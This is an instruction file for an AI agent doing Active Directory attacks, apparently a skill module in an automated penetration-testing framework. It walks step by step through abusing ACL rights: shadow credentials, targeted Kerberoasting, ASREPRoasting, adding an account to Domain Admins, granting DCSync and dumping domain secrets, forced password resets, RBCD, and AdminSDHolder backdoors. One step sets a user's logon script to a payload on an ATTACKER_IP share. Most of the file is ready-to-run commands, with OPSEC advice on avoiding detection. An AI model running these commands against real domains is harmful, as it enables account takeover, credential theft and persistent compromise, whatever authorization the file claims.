| name | acl-abuse |
| description | Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
|
| keywords | ["ACL abuse","ACE abuse","GenericAll","GenericWrite","WriteDACL","WriteOwner","ForceChangePassword","shadow credentials","msDS-KeyCredentialLink","PKINIT","pywhisker","whisker","AdminSDHolder","SDProp","targeted kerberoasting","SPN manipulation","dacledit","AD permissions","BloodHound attack path","BloodHound shows ACL-based attack paths or when you have write access to AD objects"] |
| tools | ["bloodyAD","PowerView","pywhisker","Certipy","dacledit.py","Impacket"] |
| opsec | medium |
ACL/ACE Abuse
You are helping a penetration tester exploit misconfigured Active Directory
access control lists for privilege escalation. All testing is under explicit
written authorization.
Kerberos-first authentication: All commands default to Kerberos auth via
ccache. Use -k -no-pass (Impacket), --use-kcache (NetExec), -k (bloodyAD,
Certipy) throughout. Shadow credentials + PKINIT is natively Kerberos.
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[acl-abuse] Activated → <target> to the screen on activation.
- Evidence → save significant output to
engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).
State Management
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Domain credentials (any level — ACL paths often start from low-priv users)
- Identified ACL misconfiguration (via BloodHound, PowerView, or bloodyAD)
- Tools:
bloodyAD, Impacket suite, optionally PowerView, pywhisker,
Certipy, dacledit.py, Whisker.exe
Kerberos-first workflow:
cd $TMPDIR && getTGT.py DOMAIN/user -hashes :NTHASH -dc-ip DC_IP
cd $TMPDIR && getTGT.py DOMAIN/user:'Password123!' -dc-ip DC_IP
export KRB5CCNAME=$TMPDIR/user.ccache
Tool output directory: getTGT.py, certipy shadow, and
bloodyAD add shadowCredentials write output files to CWD. Always prefix with
cd $TMPDIR &&. getTGT.py does NOT support -out. When saving evidence, use
mv (not cp) to avoid stray duplicates.
Step 1: Enumerate Exploitable ACLs
Skip if BloodHound or ad-discovery already identified the path.
bloodyAD (Linux — Preferred)
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP get writable \
--otype USER --right WRITE --detail
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP get writable \
--otype GROUP --right WRITE --detail
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP get writable \
--otype COMPUTER --right WRITE --detail
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP get object \
targetuser --attr nTSecurityDescriptor --resolve-sd
PowerView (Windows)
# Scan for exploitable ACLs
Invoke-ACLScanner -ResolveGUIDs | Select ObjectDN,IdentityReferenceName,ActiveDirectoryRights
# Check specific object
Get-ObjectAcl -SamAccountName targetuser -ResolveGUIDs | ? {
$_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword"
}
BloodHound Queries
# Shortest path from owned to Domain Admins via ACL edges
MATCH p=shortestPath((n {owned:true})-[r:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword|Owns*1..]->(m:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})) RETURN p
# All ACL edges from a specific user
MATCH p=(n:User {name:'USER@DOMAIN.LOCAL'})-[r:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword]->(m) RETURN p
Decision Tree
| ACL Right | Target Type | Go To |
|---|
| GenericAll | User | Step 2 (choose: shadow creds, SPN abuse, password reset) |
| GenericAll | Group | Step 3 (add yourself to group) |
| GenericAll | Computer | Step 7 (RBCD setup) |
| GenericWrite | User | Step 2 (shadow creds, SPN abuse, logon script) |
| GenericWrite | Computer | Step 7 (RBCD) |
| WriteDACL | Domain object | Step 4 (grant DCSync rights) |
| WriteDACL | Group/User | Step 4 (grant GenericAll, then escalate) |
| WriteOwner | Any | Step 5 (take ownership, then WriteDACL) |
| ForceChangePassword | User | Step 6 (reset password — destructive) |
Step 2: GenericAll / GenericWrite on User
You have full control or write access to a user object. Multiple techniques
available — choose by OPSEC preference.
Option A: Shadow Credentials (Lowest OPSEC — Preferred)
Add a key credential to the target's msDS-KeyCredentialLink attribute, then
authenticate via PKINIT. No password change, pure Kerberos.
Requirements: DC is Windows Server 2016+, AD CS configured, PKINIT enabled.
cd $TMPDIR && bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL \
--dc-ip DC_IP add shadowCredentials targetuser
cd $TMPDIR && pywhisker.py -d DOMAIN.LOCAL -u attacker -k --no-pass \
--target targetuser --action add --filename targetuser_cert
cd $TMPDIR && certipy shadow auto -account targetuser -dc-ip DC_IP -k -no-pass \
-target DC.DOMAIN.LOCAL
Authenticate with the PFX (PKINIT):
gettgtpkinit.py DOMAIN.LOCAL/targetuser targetuser.ccache \
-cert-pfx targetuser_cert.pfx -pfx-pass 'PFX_PASSWORD'
certipy auth -pfx targetuser_cert.pfx -dc-ip DC_IP
export KRB5CCNAME=targetuser.ccache
secretsdump.py -k -no-pass DOMAIN/targetuser@DC.DOMAIN.LOCAL
If target is a computer account — S4U2Self for impersonation:
gettgtpkinit.py DOMAIN.LOCAL/TARGET\$ target.ccache \
-cert-pfx target_cert.pfx -pfx-pass 'PFX_PASSWORD'
export KRB5CCNAME=target.ccache
gets4uticket.py kerberos+ccache://DOMAIN.LOCAL\\TARGET\$:target.ccache@DC.DOMAIN.LOCAL \
cifs/TARGET.DOMAIN.LOCAL@DOMAIN.LOCAL Administrator@DOMAIN.LOCAL admin.ccache
export KRB5CCNAME=admin.ccache
wmiexec.py -k -no-pass DOMAIN/Administrator@TARGET.DOMAIN.LOCAL
Cleanup (critical):
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP \
remove shadowCredentials targetuser --key KEY_ID
pywhisker.py -d DOMAIN.LOCAL -u attacker -k --no-pass \
--target targetuser --action remove --device-id DEVICE_ID
pywhisker.py -d DOMAIN.LOCAL -u attacker -k --no-pass \
--target targetuser --action list
Option B: Targeted Kerberoasting (SPN Manipulation)
Set an SPN on the target user, request a TGS, crack it offline, remove the SPN.
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP get object \
targetuser --attr serviceprincipalname
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP set object \
targetuser serviceprincipalname -v 'ops/whatever1'
GetUserSPNs.py DOMAIN/attacker -k -no-pass -request-user targetuser \
-outputfile engagement/evidence/acl-targeted-kerberoast.txt
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP set object \
targetuser serviceprincipalname
# PowerView (Windows)
Set-DomainObject targetuser -Set @{serviceprincipalname='ops/whatever1'}
Get-DomainUser targetuser | Get-DomainSPNTicket | fl
Set-DomainObject -Identity targetuser -Clear serviceprincipalname
OPSEC: Medium — SPN creation logged as Event 5136. Remove SPN immediately
after TGS extraction. Do NOT crack hashes in this skill. Save hashes to
engagement/evidence/ and return to the orchestrator with the hash file path,
hash type/mode, and a routing recommendation to credential-recovery.
Option C: ASREPRoasting (Disable Pre-Auth)
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP add uac \
targetuser -f DONT_REQ_PREAUTH
GetNPUsers.py DOMAIN/targetuser -format hashcat \
-outputfile engagement/evidence/acl-asrep-hash.txt -k -no-pass
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP remove uac \
targetuser -f DONT_REQ_PREAUTH
OPSEC: Medium — UAC change logged as Event 5136. Disabled pre-auth is
unusual and may trigger alerts.
Option D: Logon Script Path
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP set object \
targetuser scriptpath -v '\\ATTACKER_IP\share\payload.bat'
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP set object \
targetuser scriptpath -v ''
OPSEC: Medium-High — requires user logon, script path visible in AD.
Step 3: GenericAll / GenericWrite on Group
Add yourself (or a controlled user) to a privileged group.
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP \
add groupMember 'Domain Admins' attacker
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP \
get groupMember 'Domain Admins'
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP \
remove groupMember 'Domain Admins' attacker
# PowerView
Add-DomainGroupMember -Identity 'Domain Admins' -Members attacker
Get-DomainGroupMember -Identity 'Domain Admins'
Remove-DomainGroupMember -Identity 'Domain Admins' -Members attacker
OPSEC: High — Group membership changes logged as Event 4728/4732/4756.
Domain Admins modifications generate immediate alerts. Consider targeting
less-monitored groups that still provide the access you need.
Step 4: WriteDACL
Grant yourself additional permissions on the target object.
WriteDACL on Domain Object → DCSync
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP add dcsync attacker
dacledit.py -action write -rights DCSync -principal attacker \
-target-dn 'DC=DOMAIN,DC=LOCAL' DOMAIN/attacker -k -no-pass
secretsdump.py -k -no-pass DOMAIN/attacker@DC.DOMAIN.LOCAL -just-dc
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP remove dcsync attacker
WriteDACL on Group/User → GenericAll
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP add genericAll \
'CN=Domain Admins,CN=Users,DC=DOMAIN,DC=LOCAL' attacker
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP remove genericAll \
'CN=Domain Admins,CN=Users,DC=DOMAIN,DC=LOCAL' attacker
# PowerView
Add-DomainObjectAcl -TargetIdentity 'Domain Admins' -Rights All \
-PrincipalIdentity attacker -Verbose
WriteDACL on OU → Inheritance
dacledit.py -action write -rights FullControl -inheritance \
-principal attacker -target-dn 'OU=SERVERS,DC=DOMAIN,DC=LOCAL' \
DOMAIN/attacker -k -no-pass
Note: Objects with adminCount=1 do NOT inherit from parent OUs
(AdminSDHolder protection).
OPSEC: High — ACL changes logged as Event 5136, Event 4662 for directory
access. DCSync triggers Event 4662 with replication GUIDs.
Step 5: WriteOwner
Take ownership of an object, then modify its DACL.
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP \
set owner targetobject attacker
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP \
add genericAll targetobject attacker
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP \
remove genericAll targetobject attacker
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP \
set owner targetobject original_owner
# PowerView
Set-DomainObjectOwner -Identity targetobject -OwnerIdentity attacker
Add-DomainObjectAcl -TargetIdentity targetobject -Rights All \
-PrincipalIdentity attacker
OPSEC: Medium — Owner change logged as Event 4670. Two-step attack
creates an audit trail.
Step 6: ForceChangePassword
Reset a user's password without knowing the current one. Destructive —
the user will be locked out of their account.
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP set password \
targetuser 'NewP@ssw0rd!'
rpcclient -U 'attacker%password' DC_IP \
-c "setuserinfo2 targetuser 23 'NewP@ssw0rd!'"
# PowerView
Set-DomainUserPassword -Identity targetuser \
-AccountPassword (ConvertTo-SecureString 'NewP@ssw0rd!' -AsPlainText -Force)
OPSEC: High — Password reset logged as Event 4724. User loses access.
Triggers MFA re-enrollment, conditional access, and help desk tickets.
Use shadow credentials (Step 2 Option A) instead whenever possible.
Step 7: GenericAll/GenericWrite on Computer → RBCD
If you have write access to a computer object, set up Resource-Based
Constrained Delegation.
addcomputer.py -computer-name 'FAKECOMP$' -computer-pass 'P@ssw0rd!' \
DOMAIN/attacker -k -no-pass
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP add rbcd 'TARGET$' 'FAKECOMP$'
getST.py -spn cifs/TARGET.DOMAIN.LOCAL -impersonate Administrator \
DOMAIN/'FAKECOMP$':'P@ssw0rd!'
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass DOMAIN/Administrator@TARGET.DOMAIN.LOCAL
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP remove rbcd 'TARGET$' 'FAKECOMP$'
Escalate (Step 4) for the full RBCD exploitation chain.
Step 8: AdminSDHolder Persistence
Concept: AdminSDHolder is a template object. SDProp runs every 60 minutes
and copies AdminSDHolder's DACL to all objects with adminCount=1 (Domain
Admins, Enterprise Admins, etc.). Backdoor AdminSDHolder → your ACE propagates
to all privileged accounts.
Requires: Existing Domain Admin access (persistence technique, not escalation).
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP add genericAll \
'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' attacker
Invoke-ADSDPropagation
ldifde -i -f sdprop.ldf
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP remove genericAll \
'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' attacker
OPSEC: Medium — AdminSDHolder ACL changes are rarely monitored but highly
suspicious if found during forensics. SDProp propagation is normal AD behavior.
Step 9: Escalate or Pivot
STOP and return to the orchestrator with:
- What was achieved (RCE, creds, file read, etc.)
- New credentials, access, or pivot paths discovered
- Context for next steps (platform, access method, working payloads)
Troubleshooting
Shadow Credentials: "Key credential not supported"
DC must be Windows Server 2016+ with AD CS and PKINIT configured. Check:
certipy find -dc-ip DC_IP -k -no-pass -stdout | grep "Certificate Authority"
If no CA exists, fall back to targeted Kerberoasting (Option B).
Shadow Credentials: PKINIT Auth Fails
- Ensure the PFX password matches what was output during creation
- Verify the DC has an enrollment agent certificate
- Check that PKINIT is enabled in domain policies
- Try
certipy shadow auto for automated handling
ForceChangePassword: "Access Denied"
- The ExtendedRight for password reset may not be inherited. Check the specific
ACE on the target object, not just the OU.
- Some accounts have explicit deny ACEs that override inherited allow.
WriteDACL Succeeds But Exploitation Fails
- ACL changes may take time to replicate across DCs (AD replication lag)
- Target the same DC for both ACL modification and exploitation
- Verify with
get object --attr nTSecurityDescriptor after modification
bloodyAD: "Unable to connect"
- Ensure
-k flag is present for Kerberos auth
- Verify
KRB5CCNAME points to a valid ccache
- Try
--host DC_FQDN (not IP) for Kerberos name resolution
- Always include
--dc-ip DC_IP when using Kerberos auth — DNS resolution
failures are common in lab environments and cause bloodyAD to hang or error.
All bloodyAD Kerberos commands should use:
bloodyAD -d DOMAIN -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP ...
Shadow Credentials: S4U ccache cannot write to other objects
Shadow credential authentication produces an S4U service ticket (not a full
TGT). This ticket has limited scope — it authenticates for the target account
but may fail for LDAP writes against other AD objects. If you need to chain
shadow credentials to modify a second account:
cd $TMPDIR && getTGT.py DOMAIN/compromised_user -hashes :NTHASH -dc-ip DC_IP
export KRB5CCNAME=$TMPDIR/compromised_user.ccache
KRB_AP_ERR_SKEW (Clock Skew)
Kerberos requires clocks within 5 minutes of the DC. This is a Clock Skew
Interrupt — stop immediately and return to the orchestrator. Do not retry or
fall back to NTLM. The fix requires root:
sudo ntpdate DC_IP
sudo rdate -n DC_IP
OPSEC Comparison
| Technique | OPSEC | Event IDs | Destructive |
|---|
| Shadow Credentials | LOW | 5136 (attr change) | No |
| Targeted Kerberoasting | MEDIUM | 5136 (SPN), 4769 (TGS) | No |
| ASREPRoast (UAC change) | MEDIUM | 5136 (UAC) | No |
| WriteDACL → DCSync | HIGH | 5136, 4662 | No |
| Group Membership Add | HIGH | 4728/4732/4756 | No |
| Password Reset | HIGH | 4724 | Yes |
| AdminSDHolder Backdoor | MEDIUM | 5136 | No (persistence) |